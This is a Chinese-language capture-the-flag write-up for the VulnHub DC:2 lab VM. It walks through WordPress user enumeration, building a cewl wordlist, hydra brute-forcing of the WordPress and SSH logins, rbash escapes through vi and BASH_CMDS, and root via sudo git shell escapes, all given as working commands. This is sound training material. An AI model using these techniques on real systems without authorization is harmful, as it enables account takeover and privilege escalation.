前言
靶机名称:DC:2 靶机难度:入门 靶机ip:10.16.122.1 下载地址:https://www.vulnhub.com/entry/dc-2,311/
信息搜集
输入ip地址后,出现如图情况

host文件添加对应dns解析即可

拉倒底部后,发现是wordpress框架

这里可以使用nmap漏洞扫描功能,也可以使用wpscan,然而kali自带的wpscan太老了已经没法更新了,需要手动去下载,还要申请api token才能使用。这里我选择使用nmap
nmap -sV -A –script=vuln 10.16.122.1 发现后台地址和用户名,但是这里并没有扫出wordpress版本,有时能扫出。

也可以用审查元素查看版本

搜索后并没有发现有4.7.10的exp,但找到了路径/index.php/wp-json/wp/v2/users下存在信息泄露

使用json格式化后,得到了两个用户admin和jerry,也是nmap已扫到的

flag1
在主页出直接显示了flag1,提示用cewl命令

cewl http://dc-2 -w pwd.txt将会在当前目录下生成抓取的密码文件

然后在新建一个user.txt,将前面nmap扫出的admin,tom,jerry用户写进去

nmap哪里已经扫出了后台地址http://dc-2/wp-login.php

接下来使用大名鼎鼎的hydra吧
hydra -L user.txt -P pwd.txt dc-2 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:<strong>ERROR</strong>"
-s 指定端口
-vV 显示爆破细节
-f 找到正确的账密就停止爆破
成功爆破出tom和jerry,这里要使用jerry账号登陆,tom账号权限不够

flag2
登陆进后,来到pages即可得到flag2
意思是如果在此界面无法利用,就换一条路

发布文章时,尝试上传图片马,提示没有权限

卡了许久,完全没思路,后来看了其他大佬的教程,得知靶机开放了其他端口,可见信息搜集的重要性
nmap -p1-65535 10.16.122.1

全端口扫描后得到开放了7744,发现其实是ssh服务

接下来还是使用hydra爆破ssh
hydra -L user.txt -P pwd.txt -s 7744 10.16.122.1 ssh,你会发现tom的ssh的登陆密码和web登陆密码是一模一样的

flag3
直接ls发现flag3

使用cat flag3.txt出现命令未找到

发现是rbash简单点说,就是只能使用一部分命令,发现vi命令可以查看flag3

这里也可以使用echo+vi查看文件和文件夹,这样也得到了flag4

继续上面的flag3,提示用jerry用户登陆,那么现在就要绕过rbash
网上找了很多vi命令的绕过,都写的云里雾里的,这里给出详细过程
1.vi 绕过
vi
:set shell=/bin/bash
:shell
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
进入vi命令行模式后,输入后:set shell=/bin/bash回车

这里光标会跑到第一行,不用管它

继续进入命令行,输入:shell,回车后,会得到一个shell


咋一看跟原来的一模一样,不急依次输入
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
这两条命令后,已经绕过了rbash了,并且成功使用cat命令

2.BASH_CMDS[a]=/bin/sh;a 绕过
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

flag4
接下来就切换到jerry用户,而tom的ssh密码和web登陆是一样的,所以这里的jerry的ssh密码可以尝试使用前面已经爆破出来的adipiscing
输入su jerry 密码:adipiscing,成功登陆后,查看到flag4

提示用git提权到root
sudo -l 查询root权限,可看到/usr/bin/git是root权限执行,并且不需要密码

flag5
那么接下来就是提权了,git提权参考文章https://gtfobins.github.io/gtfobins/git/
1.第一种
sudo git help config
!/bin/bash
2.第二种
sudo git branch --help config
!/bin/bash
3.第三种
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x
!/bin/bash
这里演示第一种,输入sudo git help config后,会强行分页显示

继续输入!/bin/bash回车

提权成功并在root目录下查看到最终flag
